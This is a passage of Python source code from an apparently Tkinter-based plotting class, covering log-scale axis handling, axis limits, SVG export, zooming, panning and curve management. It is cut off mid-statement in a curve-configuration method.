yaxis.yaxis_mode == 'log': where_y_has_same_sign_as_yaxis = np.where(curve.data_y * yaxis.yaxis_sign > 0.)[0] runs_where_y_has_same_sign_as_yaxis = np.split(where_y_has_same_sign_as_yaxis, np.where(np.diff(where_y_has_same_sign_as_yaxis) != 1)[0] + 1) curve.points_x = [curve.data_x[run].copy() for run in runs_where_y_has_same_sign_as_yaxis] curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_y_has_same_sign_as_yaxis] self.refresh_plot() def semilogx(self, x, y, style = '', **kwargs): name = kwargs.get('name', '') yaxis = kwargs.get('yaxis', 'left') if yaxis not in self.yaxes.keys(): raise ValueError("specified y-axis does not exist") hold = kwargs.get('hold', 'off') if hold not in ('on', 'off'): raise ValueError("if specified, hold must be 'on' or 'off'") if hold == 'off': self.default_color_index = 0 self.new_data(x, y, style, name, yaxis, hold) self.xaxis_mode = 'log' pos_x_values = 0 total_x_values = 0 for curve_name in self.curves.keys(): pos_x_values += len(np.where(self.curves[curve_name].data_x > 0.)[0]) total_x_values += len(self.curves[curve_name].data_x) self.xaxis_sign = 1. if pos_x_values >= total_x_values // 2 else -1. self.xlimits_mode = 'auto' self.yaxes[yaxis].yaxis_mode = 'linear' self.yaxes[yaxis].ylimits_mode = 'auto' for curve_name in self.curves.keys(): curve = self.curves[curve_name] yaxis = self.yaxes[curve.yaxis] if yaxis.yaxis_mode == 'linear': where_x_has_same_sign_as_xaxis = np.where(curve.data_x * self.xaxis_sign > 0.)[0] runs_where_x_has_same_sign_as_xaxis = np.split(where_x_has_same_sign_as_xaxis, np.where(np.diff(where_x_has_same_sign_as_xaxis) != 1)[0] + 1) curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_x_has_same_sign_as_xaxis] curve.points_y = [curve.data_y[run].copy() for run in runs_where_x_has_same_sign_as_xaxis] elif yaxis.yaxis_mode == 'log': where_xy_have_same_sign_as_axes = np.where(np.logical_and(curve.data_x * self.xaxis_sign > 0., curve.data_y * yaxis.yaxis_sign > 0.))[0] runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1) curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_xy_have_same_sign_as_axes] curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_xy_have_same_sign_as_axes] self.refresh_plot() def semilogy(self, x, y, style = '', **kwargs): name = kwargs.get('name', '') yaxis = kwargs.get('yaxis', 'left') if yaxis not in self.yaxes.keys(): raise ValueError("specified y-axis does not exist") hold = kwargs.get('hold', 'off') if hold not in ('on', 'off'): raise ValueError("if specified, hold must be 'on' or 'off'") if hold == 'off': self.default_color_index = 0 self.new_data(x, y, style, name, yaxis, hold) self.xaxis_mode = 'linear' self.xlimits_mode = 'auto' self.yaxes[yaxis].yaxis_mode = 'log' pos_y_values = 0 total_y_values = 0 for curve_name in self.curves.keys(): if self.curves[curve_name].yaxis == yaxis: pos_y_values += len(np.where(self.curves[curve_name].data_y > 0.)[0]) total_y_values += len(self.curves[curve_name].data_y) self.yaxes[yaxis].yaxis_sign = 1. if pos_y_values >= total_y_values // 2 else -1. self.yaxes[yaxis].ylimits_mode = 'auto' for curve_name in self.curves.keys(): curve = self.curves[curve_name] yaxis = self.yaxes[curve.yaxis] if yaxis.yaxis_mode == 'linear': curve.points_x = [curve.data_x.copy()] curve.points_y = [curve.data_y.copy()] elif yaxis.yaxis_mode == 'log': where_y_has_same_sign_as_yaxis = np.where(curve.data_y * yaxis.yaxis_sign > 0.)[0] runs_where_y_has_same_sign_as_yaxis = np.split(where_y_has_same_sign_as_yaxis, np.where(np.diff(where_y_has_same_sign_as_yaxis) != 1)[0] + 1) curve.points_x = [curve.data_x[run].copy() for run in runs_where_y_has_same_sign_as_yaxis] curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_y_has_same_sign_as_yaxis] self.refresh_plot() def loglog(self, x, y, style = '', **kwargs): name = kwargs.get('name', '') yaxis = kwargs.get('yaxis', 'left') if yaxis not in self.yaxes.keys(): raise ValueError("specified y-axis does not exist") hold = kwargs.get('hold', 'off') if hold not in ('on', 'off'): raise ValueError("if specified, hold must be 'on' or 'off'") if hold == 'off': self.default_color_index = 0 self.new_data(x, y, style, name, yaxis, hold) self.xaxis_mode = 'log' pos_x_values = 0 total_x_values = 0 for curve_name in self.curves.keys(): pos_x_values += len(np.where(self.curves[curve_name].data_x > 0.)[0]) total_x_values += len(self.curves[curve_name].data_x) self.xaxis_sign = 1. if pos_x_values >= total_x_values // 2 else -1. self.xlimits_mode = 'auto' self.yaxes[yaxis].yaxis_mode = 'log' pos_y_values = 0 total_y_values = 0 for curve_name in self.curves.keys(): if self.curves[curve_name].yaxis == yaxis: pos_y_values += len(np.where(self.curves[curve_name].data_y > 0.)[0]) total_y_values += len(self.curves[curve_name].data_y) self.yaxes[yaxis].yaxis_sign = 1. if pos_y_values >= total_y_values // 2 else -1. self.yaxes[yaxis].ylimits_mode = 'auto' for curve_name in self.curves.keys(): curve = self.curves[curve_name] yaxis = self.yaxes[curve.yaxis] if yaxis.yaxis_mode == 'linear': where_x_has_same_sign_as_xaxis = np.where(curve.data_x * self.xaxis_sign > 0.)[0] runs_where_x_has_same_sign_as_xaxis = np.split(where_x_has_same_sign_as_xaxis, np.where(np.diff(where_x_has_same_sign_as_xaxis) != 1)[0] + 1) curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_x_has_same_sign_as_xaxis] curve.points_y = [curve.data_y[run].copy() for run in runs_where_x_has_same_sign_as_xaxis] elif yaxis.yaxis_mode == 'log': where_xy_have_same_sign_as_axes = np.where(np.logical_and(curve.data_x * self.xaxis_sign > 0., curve.data_y * yaxis.yaxis_sign > 0.))[0] runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1) curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_xy_have_same_sign_as_axes] curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_xy_have_same_sign_as_axes] self.refresh_plot() def grid(self, *args): if len(args) == 0: return self.grid_state elif args[0] in ('on', 'off'): self.grid_state = args[0] self.erase_plot() self.draw_plot() else: raise ValueError("invalid grid state specified; it must either be 'on' or 'off'") def xlabel(self, *args): if len(args) == 0: return self.xlabel_value else: self.xlabel_value = args[0] self.erase_plot() self.draw_plot() def ylabel(self, *args, **kwargs): yaxis = kwargs.get('yaxis', 'left') if yaxis not in self.yaxes.keys(): raise ValueError("specified y-axis does not exist") if len(args) == 0: return self.yaxes[yaxis].ylabel_value else: self.yaxes[yaxis].ylabel_value = str(args[0]) self.erase_plot() self.draw_plot() def xaxis(self, *args): if len(args) == 0: return self.xaxis_mode elif args[0] == 'linear': self.xaxis_mode = 'linear' self.xlimits_mode = 'auto' for curve_name in self.curves.keys(): curve = self.curves[curve_name] yaxis = self.yaxes[curve.yaxis] if yaxis.yaxis_mode == 'linear': curve.points_x = [curve.data_x.copy()] curve.points_y = [curve.data_y.copy()] elif yaxis.yaxis_mode == 'log': where_y_has_same_sign_as_yaxis = np.where(curve.data_y * yaxis.yaxis_sign > 0.)[0] runs_where_y_has_same_sign_as_yaxis = np.split(where_y_has_same_sign_as_yaxis, np.where(np.diff(where_y_has_same_sign_as_yaxis) != 1)[0] + 1) curve.points_x = [curve.data_x[run].copy() for run in runs_where_y_has_same_sign_as_yaxis] curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_y_has_same_sign_as_yaxis] self.refresh_plot() elif args[0] == 'log': self.xaxis_mode = 'log' pos_x_values = 0 total_x_values = 0 for curve_name in self.curves.keys(): pos_x_values += len(np.where(self.curves[curve_name].data_x > 0.)[0]) total_x_values += len(self.curves[curve_name].data_x) self.xaxis_sign = 1. if pos_x_values >= total_x_values // 2 else -1. self.xlimits_mode = 'auto' for curve_name in self.curves.keys(): curve = self.curves[curve_name] yaxis = self.yaxes[curve.yaxis] if yaxis.yaxis_mode == 'linear': where_x_has_same_sign_as_xaxis = np.where(curve.data_x * self.xaxis_sign > 0.)[0] runs_where_x_has_same_sign_as_xaxis = np.split(where_x_has_same_sign_as_xaxis, np.where(np.diff(where_x_has_same_sign_as_xaxis) != 1)[0] + 1) curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_x_has_same_sign_as_xaxis] curve.points_y = [curve.data_y[run].copy() for run in runs_where_x_has_same_sign_as_xaxis] elif yaxis.yaxis_mode == 'log': where_xy_have_same_sign_as_axes = np.where(np.logical_and(curve.data_x * self.xaxis_sign > 0., curve.data_y * yaxis.yaxis_sign > 0.))[0] runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1) curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_xy_have_same_sign_as_axes] curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_xy_have_same_sign_as_axes] self.refresh_plot() else: raise ValueError("invalid x-axis mode specified; it must either be 'linear' or 'log'") def yaxis(self, *args, **kwargs): yaxis = kwargs.get('yaxis', 'left') if yaxis not in self.yaxes.keys(): raise ValueError("specified y-axis does not exist") if len(args) == 0: return self.yaxes[yaxis].yaxis_mode elif args[0] == 'linear': self.yaxes[yaxis].yaxis_mode = 'linear' self.yaxes[yaxis].ylimits_mode = 'auto' if self.xaxis_mode == 'linear': for curve_name in self.curves.keys(): if self.curves[curve_name].yaxis == yaxis: self.curves[curve_name].points_x = [self.curves[curve_name].data_x.copy()] self.curves[curve_name].points_y = [self.curves[curve_name].data_y.copy()] elif self.xaxis_mode == 'log': for curve_name in self.curves.keys(): if self.curves[curve_name].yaxis == yaxis: where_x_has_same_sign_as_xaxis = np.where(self.curves[curve_name].data_x * self.xaxis_sign > 0.)[0] runs_where_x_has_same_sign_as_xaxis = np.split(where_x_has_same_sign_as_xaxis, np.where(np.diff(where_x_has_same_sign_as_xaxis) != 1)[0] + 1) self.curves[curve_name].points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * self.curves[curve_name].data_x[run]) for run in runs_where_x_has_same_sign_as_xaxis] self.curves[curve_name].points_y = [self.curves[curve_name].data_y[run].copy() for run in runs_where_x_has_same_sign_as_xaxis] self.refresh_plot() elif args[0] == 'log': self.yaxes[yaxis].yaxis_mode = 'log' pos_y_values = 0 total_y_values = 0 for curve_name in self.curves.keys(): if self.curves[curve_name].yaxis == yaxis: pos_y_values += len(np.where(self.curves[curve_name].data_y > 0.)[0]) total_y_values += len(self.curves[curve_name].data_y) self.yaxes[yaxis].yaxis_sign = 1. if pos_y_values >= total_y_values // 2 else -1. self.yaxes[yaxis].ylimits_mode = 'auto' if self.xaxis_mode == 'linear': for curve_name in self.curves.keys(): if self.curves[curve_name].yaxis == yaxis: where_y_has_same_sign_as_yaxis = np.where(self.curves[curve_name].data_y * self.yaxes[yaxis].yaxis_sign > 0.)[0] runs_where_y_has_same_sign_as_yaxis = np.split(where_y_has_same_sign_as_yaxis, np.where(np.diff(where_y_has_same_sign_as_yaxis) != 1)[0] + 1) self.curves[curve_name].points_x = [self.curves[curve_name].data_x[run].copy() for run in runs_where_y_has_same_sign_as_yaxis] self.curves[curve_name].points_y = [self.yaxes[yaxis].yaxis_sign * np.log10(self.yaxes[yaxis].yaxis_sign * self.curves[curve_name].data_y[run]) for run in runs_where_y_has_same_sign_as_yaxis] elif self.xaxis_mode == 'log': for curve_name in self.curves.keys(): if self.curves[curve_name].yaxis == yaxis: where_xy_have_same_sign_as_axes = np.where(np.logical_and(self.curves[curve_name].data_x * self.xaxis_sign > 0., self.curves[curve_name].data_y * self.yaxes[yaxis].yaxis_sign > 0.))[0] runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1) self.curves[curve_name].points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * self.curves[curve_name].data_x[run]) for run in runs_where_xy_have_same_sign_as_axes] self.curves[curve_name].points_y = [self.yaxes[yaxis].yaxis_sign * np.log10(self.yaxes[yaxis].yaxis_sign * self.curves[curve_name].data_y[run]) for run in runs_where_xy_have_same_sign_as_axes] self.refresh_plot() else: raise ValueError("invalid y-axis mode specified; it must either be 'linear' or 'log'") def xlimits(self, *args): if len(args) == 0: if self.xaxis_mode == 'linear': return [self.xlim[0], self.xlim[1]] elif self.xaxis_mode == 'log': return [self.xaxis_sign * math.pow(10., self.xaxis_sign * self.xlim[0]), self.xaxis_sign * math.pow(10., self.xaxis_sign * self.xlim[1])] elif args[0] in ('auto', 'tight'): self.xlimits_mode = args[0] elif type(args[0]) is list: if len(args[0]) == 2: args[0][0] = float(args[0][0]) args[0][1] = float(args[0][1]) if args[0][0] == args[0][1]: raise ValueError('specified lower limit and upper limit were not distinct') else: if self.xaxis_mode == 'linear': self.xlimits_mode = 'manual' if args[0][0] < args[0][1]: self.xlim[0] = args[0][0] self.xlim[1] = args[0][1] else: self.xlim[0] = args[0][1] self.xlim[1] = args[0][0] elif self.xaxis_mode == 'log': if args[0][0] * args[0][1] < 0.: raise ValueError('for a logarithmic axis, both limits must have the same sign') if (args[0][0] * args[0][1] == 0.) or (args[0][0] * args[0][1] == -0.): raise ValueError('for a logarithmic axis, neither limit can be zero') self.xlimits_mode = 'manual' if self.xaxis_sign * args[0][0] < 0.: self.xaxis_sign = -self.xaxis_sign for curve_name in self.curves.keys(): curve = self.curves[curve_name] yaxis = self.yaxes[curve.yaxis] if yaxis.yaxis_mode == 'linear': where_x_has_same_sign_as_xaxis = np.where(curve.data_x * self.xaxis_sign > 0.)[0] runs_where_x_has_same_sign_as_xaxis = np.split(where_x_has_same_sign_as_xaxis, np.where(np.diff(where_x_has_same_sign_as_xaxis) != 1)[0] + 1) curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_x_has_same_sign_as_xaxis] curve.points_y = [curve.data_y[run].copy() for run in runs_where_x_has_same_sign_as_xaxis] elif yaxis.yaxis_mode == 'log': where_xy_have_same_sign_as_axes = np.where(np.logical_and(curve.data_x * self.xaxis_sign > 0., curve.data_y * yaxis.yaxis_sign > 0.))[0] runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1) curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_xy_have_same_sign_as_axes] curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_xy_have_same_sign_as_axes] if args[0][0] < args[0][1]: self.xlim[0] = self.xaxis_sign * math.log10(self.xaxis_sign * args[0][0]) self.xlim[1] = self.xaxis_sign * math.log10(self.xaxis_sign * args[0][1]) else: self.xlim[0] = self.xaxis_sign * math.log10(self.xaxis_sign * args[0][1]) self.xlim[1] = self.xaxis_sign * math.log10(self.xaxis_sign * args[0][0]) elif len(args[0]) < 2: raise IndexError('did not specify both a lower and an upper limit for the x-axis') else: raise IndexError('more than two limits were specified for the x-axis') else: raise ValueError("invalid x-limits specification; it must be 'auto', 'tight', or a list of limits") self.refresh_plot() def ylimits(self, *args, **kwargs): yaxis = kwargs.get('yaxis', 'left') if yaxis not in self.yaxes.keys(): raise ValueError("specified y-axis does not exist") if len(args) == 0: if self.yaxes[yaxis].yaxis_mode == 'linear': return [self.yaxes[yaxis].ylim[0], self.yaxes[yaxis].ylim[1]] elif self.yaxes[yaxis].yaxis_mode == 'log': return [self.yaxes[yaxis].yaxis_sign * math.pow(10., self.yaxes[yaxis].yaxis_sign * self.yaxes[yaxis].ylim[0]), self.yaxes[yaxis].yaxis_sign * math.pow(10., self.yaxes[yaxis].yaxis_sign * self.yaxes[yaxis].ylim[1])] elif args[0] in ('auto', 'tight'): self.yaxes[yaxis].ylimits_mode = args[0] elif type(args[0]) is list: if len(args[0]) == 2: args[0][0] = float(args[0][0]) args[0][1] = float(args[0][1]) if args[0][0] == args[0][1]: raise ValueError('specified lower limit and upper limit were not distinct') else: if self.yaxes[yaxis].yaxis_mode == 'linear': self.yaxes[yaxis].ylimits_mode = 'manual' if args[0][0] < args[0][1]: self.yaxes[yaxis].ylim[0] = args[0][0] self.yaxes[yaxis].ylim[1] = args[0][1] else: self.yaxes[yaxis].ylim[0] = args[0][1] self.yaxes[yaxis].ylim[1] = args[0][0] elif self.yaxes[yaxis].yaxis_mode == 'log': if args[0][0] * args[0][1] < 0.: raise ValueError('for a logarithmic axis, both limits must have the same sign') if (args[0][0] * args[0][1] == 0.) or (args[0][0] * args[0][1] == -0.): raise ValueError('for a logarithmic axis, neither limit can be zero') self.yaxes[yaxis].ylimits_mode = 'manual' if self.yaxes[yaxis].yaxis_sign * args[0][0] < 0.: self.yaxes[yaxis].yaxis_sign = -self.yaxes[yaxis].yaxis_sign if self.xaxis_mode == 'linear': for curve_name in self.curves.keys(): if self.curves[curve_name].yaxis == yaxis: where_y_has_same_sign_as_yaxis = np.where(self.curves[curve_name].data_y * self.yaxes[yaxis].yaxis_sign > 0.)[0] runs_where_y_has_same_sign_as_yaxis = np.split(where_y_has_same_sign_as_yaxis, np.where(np.diff(where_y_has_same_sign_as_yaxis) != 1)[0] + 1) self.curves[curve_name].points_x = [self.curves[curve_name].data_x[run].copy() for run in runs_where_y_has_same_sign_as_yaxis] self.curves[curve_name].points_y = [self.yaxes[yaxis].yaxis_sign * np.log10(self.yaxes[yaxis].yaxis_sign * self.curves[curve_name].data_y[run]) for run in runs_where_y_has_same_sign_as_yaxis] elif self.xaxis_mode == 'log': for curve_name in self.curves.keys(): if self.curves[curve_name].yaxis == yaxis: where_xy_have_same_sign_as_axes = np.where(np.logical_and(self.curves[curve_name].data_x * self.xaxis_sign > 0., self.curves[curve_name].data_y * self.yaxes[yaxis].yaxis_sign > 0.))[0] runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1) self.curves[curve_name].points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * self.curves[curve_name].data_x[run]) for run in runs_where_xy_have_same_sign_as_axes] self.curves[curve_name].points_y = [self.yaxes[yaxis].yaxis_sign * np.log10(self.yaxes[yaxis].yaxis_sign * self.curves[curve_name].data_y[run]) for run in runs_where_xy_have_same_sign_as_axes] if args[0][0] < args[0][1]: self.yaxes[yaxis].ylim[0] = self.yaxes[yaxis].yaxis_sign * math.log10(self.yaxes[yaxis].yaxis_sign * args[0][0]) self.yaxes[yaxis].ylim[1] = self.yaxes[yaxis].yaxis_sign * math.log10(self.yaxes[yaxis].yaxis_sign * args[0][1]) else: self.yaxes[yaxis].ylim[0] = self.yaxes[yaxis].yaxis_sign * math.log10(self.yaxes[yaxis].yaxis_sign * args[0][1]) self.yaxes[yaxis].ylim[1] = self.yaxes[yaxis].yaxis_sign * math.log10(self.yaxes[yaxis].yaxis_sign * args[0][0]) elif len(args[0]) < 2: raise IndexError('did not specify both a lower and an upper limit for the y-axis') else: raise IndexError('more than two limits were specified for the y-axis') else: raise ValueError("invalid y-limits specification; it must be 'auto', 'tight', or a list of limits") self.refresh_plot() def svg(self, filename): self.svg_backend() self.svg_file = codecs.open(filename, encoding = 'utf-8', mode = 'w') self.svg_file.write(u'<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="{width!s}px" height="{height!s}px" viewBox="0 0 {width!s} {height!s}">\n'.format(width = self.canvas_width, height = self.canvas_height)) self.begin_group() self.draw_plot() self.end_group() self.svg_file.write(u'</svg>\n') self.svg_file.close() self.svg_file = None self.tk_backend() def zoom_to_fit(self, **kwargs): mode = kwargs.get('mode', 'auto') if mode not in ('auto', 'tight'): raise ValueError("if specified, mode must be 'auto' or 'tight'") yaxis = kwargs.get('yaxis', 'all') if (yaxis != 'all') and (yaxis not in self.yaxes.keys()): raise ValueError('specified y-axis does not exist') self.xlimits_mode = mode if yaxis == 'all': for yaxis in self.yaxes.keys(): self.yaxes[yaxis].ylimits_mode = mode else: self.yaxes[yaxis].ylimits_mode = mode self.refresh_plot() def zoom_in(self, **kwargs): factor = kwargs.get('factor', math.sqrt(2)) yaxis = kwargs.get('yaxis', 'all') if (yaxis != 'all') and (yaxis not in self.yaxes.keys()): raise ValueError('specified y-axis does not exist') cx = kwargs.get('cx', 0.5 * (self.axes_left + self.axes_right)) cy = kwargs.get('cy', 0.5 * (self.axes_top + self.axes_bottom)) x = self.from_canvas_x(cx) self.xlimits_mode = 'manual' self.xlim[0] = x - 0.5 * self.xrange / factor self.xlim[1] = x + 0.5 * self.xrange / factor if yaxis == 'all': for yaxis in self.yaxes.keys(): y = self.from_canvas_y(cy, yaxis) self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange / factor self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange / factor else: y = self.from_canvas_y(cy, yaxis) self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange / factor self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange / factor self.refresh_plot() def zoom_in_x(self, **kwargs): factor = kwargs.get('factor', math.sqrt(2)) cx = kwargs.get('cx', 0.5 * (self.axes_left + self.axes_right)) x = self.from_canvas_x(cx) self.xlimits_mode = 'manual' self.xlim[0] = x - 0.5 * self.xrange / factor self.xlim[1] = x + 0.5 * self.xrange / factor self.refresh_plot() def zoom_in_y(self, **kwargs): factor = kwargs.get('factor', math.sqrt(2)) yaxis = kwargs.get('yaxis', 'all') if (yaxis != 'all') and (yaxis not in self.yaxes.keys()): raise ValueError('specified y-axis does not exist') cy = kwargs.get('cy', 0.5 * (self.axes_top + self.axes_bottom)) if yaxis == 'all': for yaxis in self.yaxes.keys(): y = self.from_canvas_y(cy, yaxis) self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange / factor self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange / factor else: y = self.from_canvas_y(cy, yaxis) self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange / factor self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange / factor self.refresh_plot() def zoom_out(self, **kwargs): factor = kwargs.get('factor', math.sqrt(2)) yaxis = kwargs.get('yaxis', 'all') if (yaxis != 'all') and (yaxis not in self.yaxes.keys()): raise ValueError('specified y-axis does not exist') cx = kwargs.get('cx', 0.5 * (self.axes_left + self.axes_right)) cy = kwargs.get('cy', 0.5 * (self.axes_top + self.axes_bottom)) x = self.from_canvas_x(cx) self.xlimits_mode = 'manual' self.xlim[0] = x - 0.5 * self.xrange * factor self.xlim[1] = x + 0.5 * self.xrange * factor if yaxis == 'all': for yaxis in self.yaxes.keys(): y = self.from_canvas_y(cy, yaxis) self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange * factor self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange * factor else: y = self.from_canvas_y(cy, yaxis) self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange * factor self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange * factor self.refresh_plot() def zoom_out_x(self, **kwargs): factor = kwargs.get('factor', math.sqrt(2)) cx = kwargs.get('cx', 0.5 * (self.axes_left + self.axes_right)) x = self.from_canvas_x(cx) self.xlimits_mode = 'manual' self.xlim[0] = x - 0.5 * self.xrange * factor self.xlim[1] = x + 0.5 * self.xrange * factor self.refresh_plot() def zoom_out_y(self, **kwargs): factor = kwargs.get('factor', math.sqrt(2)) yaxis = kwargs.get('yaxis', 'all') if (yaxis != 'all') and (yaxis not in self.yaxes.keys()): raise ValueError('specified y-axis does not exist') cy = kwargs.get('cy', 0.5 * (self.axes_top + self.axes_bottom)) if yaxis == 'all': for yaxis in self.yaxes.keys(): y = self.from_canvas_y(cy, yaxis) self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange * factor self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange * factor else: y = self.from_canvas_y(cy, yaxis) self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange * factor self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange * factor self.refresh_plot() def zoom_rect(self, *args, **kwargs): left = kwargs.get('left', self.axes_left) right = kwargs.get('right', self.axes_right) top = kwargs.get('top', self.axes_top) bottom = kwargs.get('bottom', self.axes_bottom) yaxis = kwargs.get('yaxis', 'all') if (yaxis != 'all') and (yaxis not in self.yaxes.keys()): raise ValueError('specified y-axis does not exist') if len(args) == 1: if (type(args[0]) is list) and (len(args[0]) == 4): left = float(args[0][0]) right = float(args[0][2]) top = float(args[0][1]) bottom = float(args[0][3]) else: raise ValueError('if specified, the optional argument must be a four-element list specifying the left, top, right, and bottom coordinates of the zoom rectangle') elif len(args) > 1: raise IndexError('too many arguments supplied to zoom_rect') if (left < right) and (top < bottom): self.xlimits_mode = 'manual' self.xlim[0], self.xlim[1] = self.from_canvas_x(left), self.from_canvas_x(right) if yaxis == 'all': for yaxis in self.yaxes.keys(): self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0], self.yaxes[yaxis].ylim[1] = self.from_canvas_y(bottom, yaxis), self.from_canvas_y(top, yaxis) else: self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0], self.yaxes[yaxis].ylim[1] = self.from_canvas_y(bottom, yaxis), self.from_canvas_y(top, yaxis) self.refresh_plot() def pan_left(self, **kwargs): fraction = kwargs.get('fraction', 0.1) self.xlimits_mode = 'manual' self.xlim[0] -= fraction * self.xrange self.xlim[1] -= fraction * self.xrange self.refresh_plot() def pan_right(self, **kwargs): fraction = kwargs.get('fraction', 0.1) self.xlimits_mode = 'manual' self.xlim[0] += fraction * self.xrange self.xlim[1] += fraction * self.xrange self.refresh_plot() def pan_up(self, **kwargs): fraction = kwargs.get('fraction', 0.1) yaxis = kwargs.get('yaxis', 'all') if (yaxis != 'all') and (yaxis not in self.yaxes.keys()): raise ValueError('specified y-axis does not exist') if yaxis == 'all': for yaxis in self.yaxes.keys(): self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] += fraction * self.yaxes[yaxis].yrange self.yaxes[yaxis].ylim[1] += fraction * self.yaxes[yaxis].yrange else: self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] += fraction * self.yaxes[yaxis].yrange self.yaxes[yaxis].ylim[1] += fraction * self.yaxes[yaxis].yrange self.refresh_plot() def pan_down(self, **kwargs): fraction = kwargs.get('fraction', 0.1) yaxis = kwargs.get('yaxis', 'all') if (yaxis != 'all') and (yaxis not in self.yaxes.keys()): raise ValueError('specified y-axis does not exist') if yaxis == 'all': for yaxis in self.yaxes.keys(): self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] -= fraction * self.yaxes[yaxis].yrange self.yaxes[yaxis].ylim[1] -= fraction * self.yaxes[yaxis].yrange else: self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] -= fraction * self.yaxes[yaxis].yrange self.yaxes[yaxis].ylim[1] -= fraction * self.yaxes[yaxis].yrange self.refresh_plot() def pan(self, **kwargs): dx = kwargs.get('dx', 0.) dy = kwargs.get('dy', 0.) yaxis = kwargs.get('yaxis', 'all') if (yaxis != 'all') and (yaxis not in self.yaxes.keys()): raise ValueError('specified y-axis does not exist') if (dx != 0.) or (dy != 0.): self.xlimits_mode = 'manual' self.xlim[0] -= dx * self.x_epsilon self.xlim[1] -= dx * self.x_epsilon if yaxis == 'all': for yaxis in self.yaxes.keys(): self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] += dy * self.yaxes[yaxis].y_epsilon self.yaxes[yaxis].ylim[1] += dy * self.yaxes[yaxis].y_epsilon else: self.yaxes[yaxis].ylimits_mode = 'manual' self.yaxes[yaxis].ylim[0] += dy * self.yaxes[yaxis].y_epsilon self.yaxes[yaxis].ylim[1] += dy * self.yaxes[yaxis].y_epsilon self.refresh_plot() def delete_curve(self, name): if name in self.curves: del(self.curves[name]) else: raise NameError('no curve exists with name = {0!r}'.format(name)) self.refresh_plot() def configure_curve(self, name, **kwargs): style = kwargs.get('style', '') if name in self.curves: marker_color = kwargs.get('marker_color', self.curves[name].marker_color) marker = kwargs.get('marker', self.curves[name].marker) curve_color = kwargs.get('curve_color', self.curves[name].curve_color) curve_style = 